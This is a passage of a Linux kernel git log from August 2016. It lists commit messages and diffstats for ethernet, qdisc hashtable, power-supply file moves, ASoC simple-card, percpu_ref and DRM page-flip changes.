Date: Wed Aug 10 02:22:32 2016 +0300 net: ethernet: ti: cpsw: simplify submit routine As second net dev is created only in case of dual_emac mode, port number can be figured out in simpler way. Also no need to pass redundant ndev struct. Reviewed-by: Mugunthan V N Reviewed-by: Grygorii Strashko Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) commit ab10dccb11608b96b43b557c12a5ad867723e503 Author: Gao Feng Date: Tue Aug 9 12:38:24 2016 +0800 rps: Inspect PPTP encapsulated by GRE to get flow hash The PPTP is encapsulated by GRE header with that GRE_VERSION bits must contain one. But current GRE RPS needs the GRE_VERSION must be zero. So RPS does not work for PPTP traffic. In my test environment, there are four MIPS cores, and all traffic are passed through by PPTP. As a result, only one core is 100% busy while other three cores are very idle. After this patch, the usage of four cores are balanced well. Signed-off-by: Gao Feng Reviewed-by: Philip Prindeville Signed-off-by: David S. Miller drivers/net/ppp/pptp.c | 36 +------------ include/net/gre.h | 10 +++- include/net/pptp.h | 40 +++++++++++++++ include/uapi/linux/if_tunnel.h | 7 ++- net/core/flow_dissector.c | 113 ++++++++++++++++++++++++++++------------- 5 files changed, 135 insertions(+), 71 deletions(-) commit 084c9535aab61ddd0e55eb796baa6b078b3843b1 Merge: b89b815 59cc1f6 Author: David S. Miller Date: Wed Aug 10 17:19:07 2016 -0700 Merge branch 'qdisc-hashtable' Jiri Kosina says: ==================== Convert qdisc linked list into a hashtable This is a respin of the v6 of the original patch [1], split into two-patch series as requested by davem; first patch fixes all symbol conflicts that'd happen once netdevice.h starts to include hashtable.h, the second one performs the actual switch to hashtable. I've preserved Cong's Reviewed-by:, as code-wise this series is identical to the original v6 of the patch. [1] lkml.kernel.org/r/alpine.LNX.2.00.1608011220580.22028@cbobk.fhfr.pm ==================== Signed-off-by: David S. Miller commit 59cc1f61f09c26ce82c308e24b76141e1efe99f8 Author: Jiri Kosina Date: Wed Aug 10 11:05:15 2016 +0200 net: sched: convert qdisc linked list to hashtable Convert the per-device linked list into a hashtable. The primary motivation for this change is that currently, we're not tracking all the qdiscs in hierarchy (e.g. excluding default qdiscs), as the lookup performed over the linked list by qdisc_match_from_root() is rather expensive. The ultimate goal is to get rid of hidden qdiscs completely, which will bring much more determinism in user experience. Reviewed-by: Cong Wang Signed-off-by: Jiri Kosina Signed-off-by: David S. Miller include/linux/netdevice.h | 4 ++++ include/net/pkt_sched.h | 4 ++-- include/net/sch_generic.h | 2 +- net/core/dev.c | 3 +++ net/sched/sch_api.c | 23 +++++++++++++---------- net/sched/sch_generic.c | 8 +++++--- net/sched/sch_mq.c | 2 +- net/sched/sch_mqprio.c | 2 +- 8 files changed, 30 insertions(+), 18 deletions(-) commit e87a8f24c9151d449ab46d82a504c1ebfea210f2 Author: Jiri Kosina Date: Wed Aug 10 11:03:35 2016 +0200 net: resolve symbol conflicts with generic hashtable.h This is a preparatory patch for converting qdisc linked list into a hashtable. As we'll need to include hashtable.h in netdevice.h, we first have to make sure that this will not introduce symbol conflicts for any of the netdevice.h users. Reviewed-by: Cong Wang Signed-off-by: Jiri Kosina Signed-off-by: David S. Miller drivers/net/ethernet/ti/davinci_emac.c | 14 +++++++------- net/ipv6/ip6_gre.c | 12 ++++++------ net/ipv6/ip6_tunnel.c | 10 +++++----- net/ipv6/ip6_vti.c | 10 +++++----- net/ipv6/sit.c | 10 +++++----- 5 files changed, 28 insertions(+), 28 deletions(-) commit f3332532463fef7d56507c08b33993db398d7a91 Author: Sebastian Reichel Date: Fri Jun 17 14:12:47 2016 +0200 power/supply: unify DT documentation Currently the power supply device tree documentation is spread in .../bindings/power_supply and .../bindings/power. This unifies the files for chargers and battery fuel gauges in .../bindings/power/supply and the ones for system reset/shutdown in .../bindings/power/reset (same structure as used for the drivers itself). Signed-off-by: Sebastian Reichel .../devicetree/bindings/power/act8945a-charger.txt | 35 ------ .../devicetree/bindings/power/bq2415x.txt | 47 -------- .../devicetree/bindings/power/bq24257.txt | 64 ---------- .../devicetree/bindings/power/bq25890.txt | 46 -------- .../devicetree/bindings/power/da9150-charger.txt | 26 ---- .../devicetree/bindings/power/da9150-fg.txt | 23 ---- .../devicetree/bindings/power/isp1704.txt | 17 --- .../devicetree/bindings/power/ltc2941.txt | 27 ----- .../bindings/power/qcom,coincell-charger.txt | 48 -------- .../bindings/power/reset/axxia-reset.txt | 20 ++++ .../bindings/power/reset/imx-snvs-poweroff.txt | 23 ++++ .../bindings/power/reset/msm-poweroff.txt | 17 +++ .../bindings/power/reset/qnap-poweroff.txt | 16 +++ .../bindings/power/reset/restart-poweroff.txt | 8 ++ .../devicetree/bindings/power/rt9455_charger.txt | 48 -------- .../devicetree/bindings/power/rx51-battery.txt | 25 ---- .../bindings/power/supply/ab8500/btemp.txt | 16 +++ .../bindings/power/supply/ab8500/chargalg.txt | 16 +++ .../bindings/power/supply/ab8500/charger.txt | 25 ++++ .../devicetree/bindings/power/supply/ab8500/fg.txt | 58 +++++++++ .../bindings/power/supply/act8945a-charger.txt | 35 ++++++ .../bindings/power/supply/axp20x_usb_power.txt | 35 ++++++ .../devicetree/bindings/power/supply/bq2415x.txt | 47 ++++++++ .../devicetree/bindings/power/supply/bq24257.txt | 64 ++++++++++ .../devicetree/bindings/power/supply/bq25890.txt | 46 ++++++++ .../bindings/power/supply/charger-manager.txt | 81 +++++++++++++ .../bindings/power/supply/da9150-charger.txt | 26 ++++ .../devicetree/bindings/power/supply/da9150-fg.txt | 23 ++++ .../bindings/power/supply/gpio-charger.txt | 27 +++++ .../devicetree/bindings/power/supply/isp1704.txt | 17 +++ .../bindings/power/supply/lp8727_charger.txt | 44 +++++++ .../devicetree/bindings/power/supply/ltc2941.txt | 27 +++++ .../bindings/power/supply/max17042_battery.txt | 31 +++++ .../bindings/power/supply/max8925_batter.txt | 18 +++ .../bindings/power/supply/olpc_battery.txt | 5 + .../bindings/power/supply/power_supply.txt | 23 ++++ .../power/supply/qcom,coincell-charger.txt | 48 ++++++++ .../devicetree/bindings/power/supply/qcom_smbb.txt | 131 +++++++++++++++++++++ .../bindings/power/supply/rt9455_charger.txt | 48 ++++++++ .../bindings/power/supply/rx51-battery.txt | 25 ++++ .../bindings/power/supply/sbs_sbs-battery.txt | 23 ++++ .../bindings/power/supply/ti,bq24735.txt | 35 ++++++ .../devicetree/bindings/power/supply/tps65090.txt | 17 +++ .../bindings/power/supply/tps65217_charger.txt | 12 ++ .../bindings/power/supply/twl-charger.txt | 30 +++++ .../devicetree/bindings/power/twl-charger.txt | 30 ----- .../bindings/power_supply/ab8500/btemp.txt | 16 --- .../bindings/power_supply/ab8500/chargalg.txt | 16 --- .../bindings/power_supply/ab8500/charger.txt | 25 ---- .../devicetree/bindings/power_supply/ab8500/fg.txt | 58 --------- .../bindings/power_supply/axp20x_usb_power.txt | 35 ------ .../bindings/power_supply/axxia-reset.txt | 20 ---- .../bindings/power_supply/charger-manager.txt | 81 ------------- .../bindings/power_supply/gpio-charger.txt | 27 ----- .../bindings/power_supply/imx-snvs-poweroff.txt | 23 ---- .../bindings/power_supply/lp8727_charger.txt | 44 ------- .../bindings/power_supply/max17042_battery.txt | 31 ----- .../bindings/power_supply/max8925_batter.txt | 18 --- .../bindings/power_supply/msm-poweroff.txt | 17 --- .../bindings/power_supply/olpc_battery.txt | 5 - .../bindings/power_supply/power_supply.txt | 23 ---- .../devicetree/bindings/power_supply/qcom_smbb.txt | 131 --------------------- .../bindings/power_supply/qnap-poweroff.txt | 16 --- .../bindings/power_supply/restart-poweroff.txt | 8 -- .../bindings/power_supply/sbs_sbs-battery.txt | 23 ---- .../bindings/power_supply/ti,bq24735.txt | 35 ------ .../devicetree/bindings/power_supply/tps65090.txt | 17 --- .../bindings/power_supply/tps65217_charger.txt | 12 -- MAINTAINERS | 3 +- 69 files changed, 1118 insertions(+), 1119 deletions(-) commit 8c0984e5a75337df513047ec92a6c09d78e3e5cd Author: Sebastian Reichel Date: Fri Jun 17 13:54:32 2016 +0200 power: move power supply drivers to power/supply This moves all power supply drivers from drivers/power/ to drivers/power/supply/. The intention is a cleaner source tree, since drivers/power/ also contains frameworks unrelated to power supply, like adaptive voltage scaling. Signed-off-by: Sebastian Reichel Documentation/power/power_supply_class.txt | 4 +- MAINTAINERS | 41 +- drivers/power/88pm860x_battery.c | 1021 ------- drivers/power/88pm860x_charger.c | 760 ------ drivers/power/Kconfig | 518 +--- drivers/power/Makefile | 75 +- drivers/power/ab8500_bmdata.c | 605 ----- drivers/power/ab8500_btemp.c | 1212 --------- drivers/power/ab8500_charger.c | 3765 -------------------------- drivers/power/ab8500_fg.c | 3272 ---------------------- drivers/power/abx500_chargalg.c | 2166 --------------- drivers/power/act8945a_charger.c | 359 --- drivers/power/apm_power.c | 376 --- drivers/power/axp20x_usb_power.c | 294 -- drivers/power/axp288_charger.c | 970 ------- drivers/power/axp288_fuel_gauge.c | 1155 -------- drivers/power/bq2415x_charger.c | 1815 ------------- drivers/power/bq24190_charger.c | 1546 ----------- drivers/power/bq24257_charger.c | 1196 -------- drivers/power/bq24735-charger.c | 500 ---- drivers/power/bq25890_charger.c | 994 ------- drivers/power/bq27xxx_battery.c | 1102 -------- drivers/power/bq27xxx_battery_i2c.c | 205 -- drivers/power/charger-manager.c | 2074 -------------- drivers/power/collie_battery.c | 422 --- drivers/power/da9030_battery.c | 596 ---- drivers/power/da9052-battery.c | 669 ----- drivers/power/da9150-charger.c | 694 ----- drivers/power/da9150-fg.c | 579 ---- drivers/power/ds2760_battery.c | 647 ----- drivers/power/ds2780_battery.c | 838 ------ drivers/power/ds2781_battery.c | 839 ------ drivers/power/ds2782_battery.c | 475 ---- drivers/power/generic-adc-battery.c | 432 --- drivers/power/goldfish_battery.c | 256 -- drivers/power/gpio-charger.c | 280 -- drivers/power/intel_mid_battery.c | 796 ------ drivers/power/ipaq_micro_battery.c | 316 --- drivers/power/isp1704_charger.c | 559 ---- drivers/power/jz4740-battery.c | 425 --- drivers/power/lp8727_charger.c | 631 ----- drivers/power/lp8788-charger.c | 764 ------ drivers/power/ltc2941-battery-gauge.c | 514 ---- drivers/power/max14577_charger.c | 648 ----- drivers/power/max17040_battery.c | 305 --- drivers/power/max17042_battery.c | 1016 ------- drivers/power/max77693_charger.c | 771 ------ drivers/power/max8903_charger.c | 459 ---- drivers/power/max8925_power.c | 596 ---- drivers/power/max8997_charger.c | 211 -- drivers/power/max8998_charger.c | 202 -- drivers/power/olpc_battery.c | 692 ----- drivers/power/pcf50633-charger.c | 488 ---- drivers/power/pda_power.c | 514 ---- drivers/power/pm2301_charger.c | 1257 --------- drivers/power/pm2301_charger.h | 493 ---- drivers/power/pmu_battery.c | 226 -- drivers/power/power_supply.h | 42 - drivers/power/power_supply_core.c | 989 ------- drivers/power/power_supply_leds.c | 170 -- drivers/power/power_supply_sysfs.c | 337 --- drivers/power/qcom_smbb.c | 972 ------- drivers/power/rt5033_battery.c | 182 -- drivers/power/rt9455_charger.c | 1763 ------------ drivers/power/rx51_battery.c | 297 -- drivers/power/s3c_adc_battery.c | 459 ---- drivers/power/sbs-battery.c | 998 ------- drivers/power/smb347-charger.c | 1334 --------- drivers/power/supply/88pm860x_battery.c | 1021 +++++++ drivers/power/supply/88pm860x_charger.c | 760 ++++++ drivers/power/supply/Kconfig | 514 ++++ drivers/power/supply/Makefile | 74 + drivers/power/supply/ab8500_bmdata.c | 605 +++++ drivers/power/supply/ab8500_btemp.c | 1212 +++++++++ drivers/power/supply/ab8500_charger.c | 3765 ++++++++++++++++++++++++++ drivers/power/supply/ab8500_fg.c | 3272 ++++++++++++++++++++++ drivers/power/supply/abx500_chargalg.c | 2166 +++++++++++++++ drivers/power/supply/act8945a_charger.c | 359 +++ drivers/power/supply/apm_power.c | 376 +++ drivers/power/supply/axp20x_usb_power.c | 294 ++ drivers/power/supply/axp288_charger.c | 970 +++++++ drivers/power/supply/axp288_fuel_gauge.c | 1155 ++++++++ drivers/power/supply/bq2415x_charger.c | 1815 +++++++++++++ drivers/power/supply/bq24190_charger.c | 1546 +++++++++++ drivers/power/supply/bq24257_charger.c | 1196 ++++++++ drivers/power/supply/bq24735-charger.c | 500 ++++ drivers/power/supply/bq25890_charger.c | 994 +++++++ drivers/power/supply/bq27xxx_battery.c | 1102 ++++++++ drivers/power/supply/bq27xxx_battery_i2c.c | 205 ++ drivers/power/supply/charger-manager.c | 2074 ++++++++++++++ drivers/power/supply/collie_battery.c | 422 +++ drivers/power/supply/da9030_battery.c | 596 ++++ drivers/power/supply/da9052-battery.c | 669 +++++ drivers/power/supply/da9150-charger.c | 694 +++++ drivers/power/supply/da9150-fg.c | 579 ++++ drivers/power/supply/ds2760_battery.c | 647 +++++ drivers/power/supply/ds2780_battery.c | 838 ++++++ drivers/power/supply/ds2781_battery.c | 839 ++++++ drivers/power/supply/ds2782_battery.c | 475 ++++ drivers/power/supply/generic-adc-battery.c | 432 +++ drivers/power/supply/goldfish_battery.c | 256 ++ drivers/power/supply/gpio-charger.c | 280 ++ drivers/power/supply/intel_mid_battery.c | 796 ++++++ drivers/power/supply/ipaq_micro_battery.c | 316 +++ drivers/power/supply/isp1704_charger.c | 559 ++++ drivers/power/supply/jz4740-battery.c | 425 +++ drivers/power/supply/lp8727_charger.c | 631 +++++ drivers/power/supply/lp8788-charger.c | 764 ++++++ drivers/power/supply/ltc2941-battery-gauge.c | 514 ++++ drivers/power/supply/max14577_charger.c | 648 +++++ drivers/power/supply/max17040_battery.c | 305 +++ drivers/power/supply/max17042_battery.c | 1016 +++++++ drivers/power/supply/max77693_charger.c | 771 ++++++ drivers/power/supply/max8903_charger.c | 459 ++++ drivers/power/supply/max8925_power.c | 596 ++++ drivers/power/supply/max8997_charger.c | 211 ++ drivers/power/supply/max8998_charger.c | 202 ++ drivers/power/supply/olpc_battery.c | 692 +++++ drivers/power/supply/pcf50633-charger.c | 488 ++++ drivers/power/supply/pda_power.c | 514 ++++ drivers/power/supply/pm2301_charger.c | 1257 +++++++++ drivers/power/supply/pm2301_charger.h | 493 ++++ drivers/power/supply/pmu_battery.c | 226 ++ drivers/power/supply/power_supply.h | 42 + drivers/power/supply/power_supply_core.c | 989 +++++++ drivers/power/supply/power_supply_leds.c | 170 ++ drivers/power/supply/power_supply_sysfs.c | 337 +++ drivers/power/supply/qcom_smbb.c | 972 +++++++ drivers/power/supply/rt5033_battery.c | 182 ++ drivers/power/supply/rt9455_charger.c | 1763 ++++++++++++ drivers/power/supply/rx51_battery.c | 297 ++ drivers/power/supply/s3c_adc_battery.c | 459 ++++ drivers/power/supply/sbs-battery.c | 998 +++++++ drivers/power/supply/smb347-charger.c | 1334 +++++++++ drivers/power/supply/test_power.c | 533 ++++ drivers/power/supply/tosa_battery.c | 470 ++++ drivers/power/supply/tps65090-charger.c | 370 +++ drivers/power/supply/tps65217_charger.c | 268 ++ drivers/power/supply/twl4030_charger.c | 1162 ++++++++ drivers/power/supply/twl4030_madc_battery.c | 278 ++ drivers/power/supply/wm831x_backup.c | 225 ++ drivers/power/supply/wm831x_power.c | 673 +++++ drivers/power/supply/wm8350_power.c | 540 ++++ drivers/power/supply/wm97xx_battery.c | 297 ++ drivers/power/supply/z2_battery.c | 331 +++ drivers/power/test_power.c | 533 ---- drivers/power/tosa_battery.c | 470 ---- drivers/power/tps65090-charger.c | 370 --- drivers/power/tps65217_charger.c | 268 -- drivers/power/twl4030_charger.c | 1162 -------- drivers/power/twl4030_madc_battery.c | 278 -- drivers/power/wm831x_backup.c | 225 -- drivers/power/wm831x_power.c | 673 ----- drivers/power/wm8350_power.c | 540 ---- drivers/power/wm97xx_battery.c | 299 -- drivers/power/z2_battery.c | 331 --- 156 files changed, 57305 insertions(+), 57297 deletions(-) commit b89b815c32f205a772180969da0188665f7da9e8 Author: Niklas Söderlund Date: Wed Aug 10 13:09:49 2016 +0200 ravb: use proper names for suspend/resume functions The patch 'ravb: add sleep PM suspend/resume support' used incorrect function names containing 'runtime' for the suspend and resume functions. Reported-by: Sergei Shtylyov Signed-off-by: Niklas Söderlund Acked-by: Sergei Shtylyov Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9c706a49d660653625d206f6972541c1f60ea2b0 Author: Uwe Kleine-König Date: Wed Aug 10 11:44:17 2016 +0200 net: ipconfig: fix use after free ic_close_devs() calls kfree() for all devices's ic_device. Since commit 2647cffb2bc6 ("net: ipconfig: Support using "delayed" DHCP replies") the active device's ic_device is still used however to print the ipconfig summary which results in an oops if the memory is already changed. So delay freeing until after the autoconfig results are reported. Fixes: 2647cffb2bc6 ("net: ipconfig: Support using "delayed" DHCP replies") Reported-by: Geert Uytterhoeven Signed-off-by: Uwe Kleine-König Tested-by: Geert Uytterhoeven Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit 239486baee2bbefd81053cd4a168f90ce5c46fa2 Author: Kuninori Morimoto Date: Wed Aug 10 02:22:01 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_clean_reference() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) commit 885fc0595a3e91ed7b6f78ea419952345be0222b Author: Kuninori Morimoto Date: Wed Aug 10 02:21:42 2016 +0000 ASoC: simple-card: use asoc_simple_card_clean_reference() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) commit 0f4e0711b735a148cb6da0e6f91253b62fc2c5b2 Author: Kuninori Morimoto Date: Wed Aug 10 02:21:25 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_clean_reference() simple-card needs to decrease the reference count of the device nodes. This patch makes this method simple style standard. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 2 ++ sound/soc/generic/simple-card-utils.c | 15 +++++++++++++++ 2 files changed, 17 insertions(+) commit 27b010815bcfbb2cc79de7544547e33e4d169594 Author: Kuninori Morimoto Date: Wed Aug 10 02:21:03 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_canonicalize_cpu() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) commit 16f1de6f3656519120fd4a88d6b21fc3da8d373a Author: Kuninori Morimoto Date: Wed Aug 10 02:20:43 2016 +0000 ASoC: simple-card: use asoc_simple_card_canonicalize_cpu() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 983cebd602af8c2bf9d5830f15fb4e18fb38f994 Author: Kuninori Morimoto Date: Wed Aug 10 02:20:19 2016 +0000 ASoC: simple-card-utils: add asoc_simple_card_canonicalize_cpu() simple-card needs remove dai_link->cpu_dai_name if it CPU was single DAI. This patch makes this method simple style standard. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown include/sound/simple_card_utils.h | 2 ++ sound/soc/generic/simple-card-utils.c | 17 +++++++++++++++++ 2 files changed, 19 insertions(+) commit 33e465ce7cb30b71c113a26f36d293b545a28e12 Author: Tejun Heo Date: Tue Sep 29 17:47:20 2015 -0400 percpu_ref: allow operation mode switching operations to be called concurrently percpu_ref initially didn't have explicit mode switching operations. It started out in percpu mode and switched to atomic mode on kill and then released. Ensuring that kill operation is initiated only after init completes was naturally the caller's responsibility. percpu_ref_reinit() was introduced later but it didn't shift the synchronization responsibility. Reinit can't be performed until kill is confirmed, so there was nothing to worry about synchronization-wise. Also, as both reinit and kill manipulate the base reference, invocations of the same function couldn't be allowed to race each other. The latest additions of percpu_ref_switch_to_atomic/percpu() changed the situation. These two functions can be called any time as long as the percpu_ref is between init and exit and thus there are valid valid usage scenarios where these new functions race with each other or against reinit/kill. Mostly from inertia, f47ad4578461 ("percpu_ref: decouple switching to percpu mode and reinit") still left synchronization among percpu mode switching operations to its users. That the new switch functions can be freely mixed with kill/reinit but the operations themselves should be synchronized is too subtle a requirement and led to a very subtle race condition in blk-mq freezing path. This patch fixes the situation by introducing percpu_ref_switch_lock to protect mode switching operations. This ensures that percpu-ref users don't have to worry about mode changing operations racing against each other, e.g. switch_to_percpu against kill, as long as the sequence of operations is valid. Signed-off-by: Tejun Heo Reported-by: Akinobu Mita Link: http://lkml.kernel.org/g/1443287365-4244-7-git-send-email-akinobu.mita@gmail.com Fixes: f47ad4578461 ("percpu_ref: decouple switching to percpu mode and reinit") lib/percpu-refcount.c | 33 +++++++++++++++++++++++++++++---- 1 file changed, 29 insertions(+), 4 deletions(-) commit 3f49bdd95855a33eea749304d2e10530a869218b Author: Tejun Heo Date: Tue Sep 29 17:47:19 2015 -0400 percpu_ref: restructure operation mode switching Restructure atomic/percpu mode switching. * The users of __percpu_ref_switch_to_atomic/percpu() now call a new function __percpu_ref_switch_mode() which calls either of the original switching functions depending on the current state of ref->force_atomic and the __PERCPU_REF_DEAD flag. The callers no longer check whether switching is necessary but always invoke __percpu_ref_switch_mode(). * !ref->confirm_switch waiting is collected into __percpu_ref_switch_mode(). This patch doesn't cause any behavior differences. Signed-off-by: Tejun Heo lib/percpu-refcount.c | 64 +++++++++++++++++++++++---------------------------- 1 file changed, 29 insertions(+), 35 deletions(-) commit 18808354b79622ed11857e41f9044ba17aec5b01 Author: Tejun Heo Date: Tue Sep 29 17:47:18 2015 -0400 percpu_ref: unify staggered atomic switching wait behavior When an atomic or percpu switching starts before the previous atomic switching finishes, the taken behaviors are * If the new atomic switching has confirmation callback, it waits for the previous atomic switching to complete. * If the new percpu switching is the first percpu switching following the previous atomic switching, it waits the previous atomic switching to complete. No percpu_ref user depends on these subtleties. The only meaningful part is that, if the caller ensures that atomic switching isn't in progress, mode switching operations can be issued from any context. This patch pulls the wait logic to the top of both switching functions so that they always wait for the previous atomic switching to complete. This makes the behavior simpler and consistent for both directions and will help allowing concurrent invocations of mode switching functions. Signed-off-by: Tejun Heo lib/percpu-refcount.c | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) commit b2302c7fdc654d249c546aac6228b8e10969bc1e Author: Tejun Heo Date: Tue Sep 29 17:47:17 2015 -0400 percpu_ref: reorganize __percpu_ref_switch_to_atomic() and relocate percpu_ref_switch_to_atomic() Reorganize __percpu_ref_switch_to_atomic() so that it looks structurally similar to __percpu_ref_switch_to_percpu() and relocate percpu_ref_switch_to_atomic so that the two internal functions are co-located. This patch doesn't introduce any functional differences. Signed-off-by: Tejun Heo lib/percpu-refcount.c | 98 ++++++++++++++++++++++++++------------------------- 1 file changed, 50 insertions(+), 48 deletions(-) commit a2f5630cb737787c1bfd9aa894b1bf9f3f4554ea Author: Tejun Heo Date: Tue Sep 29 17:47:16 2015 -0400 percpu_ref: remove unnecessary RCU grace period for staggered atomic switching confirmation At the beginning, percpu_ref guaranteed a RCU grace period between a call to percpu_ref_kill_and_confirm() and the invocation of the confirmation callback. This guarantee exposed internal implementation details and got rescinded while switching over to sched RCU; however, __percpu_ref_switch_to_atomic() still inserts a full sched RCU grace period even when it can simply wait for the previous attempt. Remove the unnecessary grace period and perform the confirmation synchronously for staggered atomic switching attempts. Update comments accordingly. Signed-off-by: Tejun Heo lib/percpu-refcount.c | 22 ++++------------------ 1 file changed, 4 insertions(+), 18 deletions(-) commit 75cd45a497812d531cfad8b816485f84e9c082e9 Author: Alexandre Demers Date: Wed Aug 10 03:02:04 2016 -0400 Fixing copy-paste errors and removing unneeded newlines Reviewed-by: Christian König Signed-off-by: Alexandre Demers Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit f837297ad82480024d3ad08cd84f6670bcafa862 Author: Michel Dänzer Date: Mon Aug 8 16:23:39 2016 +0900 drm: Add DRM_MODE_PAGE_FLIP_TARGET_ABSOLUTE/RELATIVE flags v2 These flags allow userspace to explicitly specify the target vertical blank period when a flip should take effect. v2: * Add new struct drm_mode_crtc_page_flip_target instead of modifying struct drm_mode_crtc_page_flip, to make sure all existing userspace code keeps compiling (Daniel Vetter) Acked-by: Christian König Reviewed-by: Daniel Vetter Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/drm_crtc.c | 48 ++++++++++++++++++++++++++++++++++++++------- drivers/gpu/drm/drm_ioctl.c | 8 ++++++++ include/uapi/drm/drm.h | 1 + include/uapi/drm/drm_mode.h | 39 +++++++++++++++++++++++++++++++++--- 4 files changed, 86 insertions(+), 10 deletions(-) commit 5dd20bbae8a39100e1cf4a7fcc8ecd598c09d992 Author: Michel Dänzer Date: Thu Aug 4 12:39:40 2016 +0900 drm/radeon: Set MASTER_UPDATE_MODE to 0 again With the previous change, it's safe to let page flips take effect anytime during a vertical blank period. This can avoid delaying a flip by a frame in some cases where we get to radeon_flip_work_func -> adev->mode_info.funcs->page_flip during a vertical blank period. Acked-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/atombios_crtc.c | 8 ++++---- drivers/gpu/drm/radeon/evergreen.c | 3 +-- drivers/gpu/drm/radeon/rv515.c | 3 +-- 3 files changed, 6 insertions(+), 8 deletions(-) commit b8fc75cfee43232e12673ddebb3539ea805105ea Author: Michel Dänzer Date: Thu Aug 4 12:39:39 2016 +0900 drm/radeon: Provide page_flip_target hook Now we can program a flip during a vertical blank period, if it's the one targeted by the flip (or a later one). This allows simplifying radeon_flip_work_func considerably. Acked-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon.h | 1 + drivers/gpu/drm/radeon/radeon_display.c | 89 +++++++++------------------------ 2 files changed, 25 insertions(+), 65 deletions(-) commit 3fd4b751c5409f4b9bf67d12b26356406b2af94c Author: Michel Dänzer Date: Thu Aug 4 12:39:38 2016 +0900 drm/amdgpu: Set MASTER_UPDATE_MODE to 0 again With the previous change, it's safe to let page flips take effect anytime during a vertical blank period. This can avoid delaying a flip by a frame in some cases where we get to amdgpu_flip_work_func -> adev->mode_info.funcs->page_flip during a vertical blank period. Acked-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 8 ++++---- drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 4 ++-- drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) commit 325cbba19a32b172300fc87cd4da7c45c4f9e0ba Author: Michel Dänzer Date: Thu Aug 4 12:39:37 2016 +0900 drm/amdgpu: Provide page_flip_target hook Now we can program a flip during a vertical blank period, if it's the one targeted by the flip (or a later one). This allows simplifying amdgpu_flip_work_func considerably. agd: update dce_virtual.c as well. Acked-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 3 +- drivers/gpu/drm/amd/amdgpu/amdgpu_display.c | 96 +++++++++-------------------- drivers/gpu/drm/amd/amdgpu/amdgpu_mode.h | 8 +-- drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 2 +- 7 files changed, 39 insertions(+), 76 deletions(-) commit c229bfbbd04ac112bd15331d3a06d12e4e86a45c Author: Michel Dänzer Date: Mon Aug 8 16:23:03 2016 +0900 drm: Add page_flip_target CRTC hook v2 Mostly the same as the existing page_flip hook, but takes an additional parameter specifying the target vertical blank period when the flip should take effect. v2: * Add curly braces around else statement corresponding to an if block with curly braces (Alex Deucher) * Call drm_crtc_vblank_put in the error case (Daniel Vetter) * Clarify entry point documentation comment (Daniel Vetter) Acked-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Daniel Vetter Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/drm_crtc.c | 26 ++++++++++++++++++++++---- include/drm/drm_crtc.h | 18 ++++++++++++++++++ 2 files changed, 40 insertions(+), 4 deletions(-) commit 88afb9e6cd3c3266abe9632dd99c60ca0581d8dc Author: Wolfram Sang Date: Tue Aug 9 13:30:30 2016 +0200 gpu: drm: radeon: radeon_i2c: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_i2c.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit e7b26d12cd44cff6ad25db7896ed4c2e1f1848ae Author: Wolfram Sang Date: Tue Aug 9 13:30:27 2016 +0200 gpu: drm: amd: amdgpu: amdgpu_i2c: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_i2c.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit e2b84e4be37462e77f34b5bd057d2483fcd3ca98 Author: Christian König Date: Mon Aug 8 14:40:18 2016 +0200 drm/amdgpu: use more than 64KB fragment size if possible We align to 64KB, but when userspace aligns even more we can easily use more. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 